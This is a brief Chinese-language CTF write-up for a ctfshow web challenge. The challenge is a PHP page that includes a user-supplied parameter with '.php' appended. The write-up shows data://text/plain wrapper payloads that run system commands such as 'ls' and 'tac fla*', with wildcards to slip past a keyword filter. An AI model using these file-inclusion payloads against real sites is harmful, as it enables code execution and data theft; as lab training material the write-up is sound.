信息收集
題目發生了微妙的變化,只過濾flag,include后固定跟上了.php
。且沒有了echo $flag;
,雖說本來就沒什么用
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}
}else{highlight_file(__FILE__);
}
解題
更多解法參考[ctfshow web入門] web37
雖然題目變了,但是解法還是沒變,這里只選最簡單的一種
你問我為什么沒變?
之前有提到過,php中.
可以用于字符串的拼接,例如 'ab'.'cd'
= 'abcd'
我們傳的是標簽啊,.php
在標簽外面,被當做普通文本直接打印出來了
include("data://text/plain,<?= system("tac fla*") ?>.php")
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>
或
?c=data://text/plain,<?= system("tac ?lag.p?p") ?>
那么細心的小伙伴就會問了,這個多出來的.php
到底有什么影響。.php
被拼到最后面去了
web38 ?? 目錄 ?? web40